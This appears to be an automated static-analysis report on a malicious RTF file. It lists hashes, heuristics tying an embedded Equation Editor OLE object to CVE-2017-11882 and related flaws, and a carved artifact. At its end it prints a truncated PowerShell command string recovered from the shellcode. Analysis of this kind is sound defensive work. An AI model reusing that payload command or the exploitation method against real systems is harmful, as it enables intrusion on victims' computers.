Malicious RTF — malware analysis report

Static analysis result for SHA-256 f50c6f5e8ec48d97…

MALICIOUS

RTF

8.0 KB First seen: 2020-12-28
MD5: 748553389e907afbb597fad6527525f7 SHA-1: 9d722fd97200bd2c9ce0b0b715cd17e2008e4df0 SHA-256: f50c6f5e8ec48d97c09879046afc6429f5ee570417b169deb357254b417f993e
140 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution

The RTF file contains an embedded OLE object, specifically identified as being related to Equation Editor. This strongly suggests exploitation of a known vulnerability within Equation Editor to achieve arbitrary code execution. The presence of shellcode command strings in the extracted artifact further supports this attack vector.

Heuristics 4

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off000001c9.bin rtf-objdata-decoded RTF \objdata at offset 0x1C9 3590 bytes
SHA-256: 34d168fa1fb1cab42148428a3869504fa7909ed12755ba674497e29da1e23df3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): powershell.exe -noexit -windowstyle maximized "$p=0;$u=$env:userprofile;$vl=$u+"""\Music\Saved Music\Windows Music""";if(![System.IO.Directory]::Exists($vl)){DO{try{$woE